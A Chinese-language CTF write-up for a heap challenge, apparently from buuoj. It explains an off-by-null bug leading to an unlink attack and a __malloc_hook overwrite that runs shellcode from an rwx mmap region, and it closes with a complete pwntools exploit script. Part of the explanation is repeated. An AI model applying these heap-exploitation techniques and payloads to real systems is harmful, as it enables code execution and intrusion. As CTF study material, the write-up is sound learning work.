这道题属于典型的菜单题,但是不提供show的功能,整个逻辑中,只存在一个off-by-null的漏洞。比较值得在意的是,程序的开始,利用mmap分配了一块拥有可读可写可执行权限的内存区域,并将该区域的地址打印出来,同时程序调用alloc功能的同时也会打印出了存放堆指针与size的数组。
程序开头泄露了数组的地址,即可以获得一个指针, 该指针指向堆上一块malloc出来的内存,外加上off-by-null的漏洞,自然而然的可以利用unlink攻击,使得bss段上的内存可控(任意写)。
由于没有提供show的功能,比较难泄露libc的偏移,这里采用的利用是利用unsorted bin的头结点与尾节点的fd与bk存放着main_arena + 0x58,而__malloc_hook的地址为main_arena - 0x10,因此想办法在bss段中伪造一个unsorted bin的chunk并将其free, 会在bss段中残留下一个main_arena + 0x58的地址,再修改该地址的低位(程序载入偏移是页对齐的,也就是说main_arena与__malloc_hook地址的低12位是固定的),即可获得一个指向__malloc_hook的指针,再利用fill功能在__malloc_hook中填上开头获得的mmap的地址,在mmap内填充上shellcode,最后调用malloc即可get shell
buuoj 上说 靶机环境是ubuntu 18, 一般来说这个环境使用的libc是2.27
关于libc的讨论可以看下下面的博文,有挺大的帮助

程序在开头处,使用mmap分配了一块0x1000大小,权限为rwx的内存区域,并将其地址打印出来

根据读入的size分配相应大小的chunk, 再将返回的指针与size填入array数组,最后将array数组的地址打印出来(unlink利用)

读取输入后,free掉相应的堆块,同时清空array数组中对应得项

fill本身没有什么特别得,特别之处在于,其中用来读取输入得函数存在off-by-null得漏洞

至此,构造unlink漏洞得条件满足
程序开头泄露了数组的地址,即可以获得一个指针, 该指针指向堆上一块malloc出来的内存,外加上off-by-null的漏洞,自然而然的可以利用unlink攻击,使得bss段上的内存可控(任意写)。
由于没有提供show的功能,比较难泄露libc的偏移,这里采用的利用是利用unsorted bin的头结点与尾节点的fd与bk存放着main_arena + 0x58,而__malloc_hook的地址为main_arena - 0x10,因此想办法在bss段中伪造一个unsorted bin的chunk并将其free, 会在bss段中残留下一个main_arena + 0x58的地址,再修改该地址的低位(程序载入偏移是页对齐的,也就是说main_arena与__malloc_hook地址的低12位是固定的),即可获得一个指向__malloc_hook的指针,再利用fill功能在__malloc_hook中填上开头获得的mmap的地址,在mmap内填充上shellcode,最后调用malloc即可get shell
几个比较需要注意的点,由于libc版本为2.27, 引入了tcache机制,分配unsorted bin时得chunk size不宜过小,否则其free后会进入tcache构成单向链表,因此有两种方法,一个是申请较大得chunk size(比如0x4F8) 或者申请7个chunk后free,填充满tcache链表,之后free得相同大小得chunk会进入fastbin或者unsorted bin中
整体流程
申请3个0x4F8大小得chunk,在第一个chunk内构造一个fake chunk, 并且由于array数组是存放在bss段上的,而alloc会返回array数组得地址,因此可以计算出程序载入得偏移program_base, fake chunk得构造为
payload = p64(0) + p64(0x4F1) + p64(program_base + 0x202068 -0x18) + p64(program_base + 0x202068 - 0x10) + p8(0)*0x4d0 + p64(0x4F0)
fill(0,payload)
delete(1)
删除idx为1的chunk,由于其PREV_INUSE位为0,前一块为空闲块且两个块的大小位于unsorted bin内,触发unlink
此时使用gdb调试发现array数组的idx为1处的地址值已经变为了&array - 0x10的地址

此时可以实现array数组内容的完全可控,再通过fill功能即可实现任意地址写,首先填入mmap的地址,然后再填入program_base +0x202068 + 0x38的地址(即指向后续构造的fake_chunk的区块空间),然后再在array数组内构造一个位于unsorted bin中的fake chunk
payload = p64(0)*2 + p64(0x4f8) + p64(program_base+0x202068 - 0x18) + p64(0x500) + p64(mmap_addr)
payload += p64(0x500) + p64(program_base + 0x202068 + 0x38)
fake_chunk = p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5
payload += fake_chunk
fill(0,payload)

在mmap区域内填充shellcode,delete掉fake chunk
fill(0,payload)
fill(1,asm(shellcraft.sh()))
delete(2)

修改main_arena+0x58 为main_arena + 0x10即将其最后一字节改为0x30
payload = p64(0)*0xa + p64(400) + p8(0x30)
fill(0,payload)

最后在__malloc_hook中填入mmap的地址 并调用alloc功能
from pwn import *
def alloc(size):
sh.sendlineafter(b‘>> ‘,b‘1‘)
sh.sendlineafter(b‘: ‘,str(size).encode(‘utf-8‘))
a=sh.recvline()
addr = int(a[-13:-1],16)
return addr
def fill(idx,content):
sh.sendlineafter(b‘>> ‘,b‘3‘)
sh.sendlineafter(b‘: ‘,str(idx).encode(‘utf-8‘))
sh.sendlineafter(b‘: ‘,content)
def delete(idx):
sh.sendlineafter(b‘>> ‘,b‘2‘)
sh.sendlineafter(b‘: ‘,str(idx).encode(‘utf-8‘))
sh = process(‘./easy_heap_pwn‘)
context.arch = "amd64"
libc = ELF(‘./bc.so.6‘)
# sh = remote(‘node4.buuoj.cn‘,27589)
a=sh.recvline()
mmap_addr = int(a[-13:-1].decode(‘utf-8‘),16)
print(hex(mmap_addr))
#construct unlink
for i in range(7):
alloc(0x80)
for i in range(7):
delete(i)
program_base = alloc(0x4F8) - 0x202068 #0 unsorted bin
print(hex(program_base))
print(hex(program_base + 0x202060))
alloc(0x4F8) #1
alloc(0x4F8) #2
payload = p64(0) + p64(0x4F1) + p64(program_base + 0x202068 -0x18) + p64(program_base + 0x202068 - 0x10) + p8(0)*0x4d0 + p64(0x4F0)
fill(0,payload)
delete(1)
#construct fake chunk & fill mmap area & getshell
payload = p64(0)*2 + p64(0x4f8) + p64(program_base+0x202068 - 0x18) + p64(0x500) + p64(mmap_addr)
payload += p64(0x500) + p64(program_base + 0x202068 + 0x38)
fake_chunk = p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5
payload += fake_chunk
fill(0,payload)
fill(1,asm(shellcraft.sh()))
delete(2)
payload = p64(0)*0xa + p64(400) + p8(0x30)
fill(0,payload)
gdb.attach(sh)
# payload+=
fill(4,p64(mmap_addr))
# gdb.attach(sh)
sh.interactive()
原文:https://www.cnblogs.com/N7Utb/p/15242174.html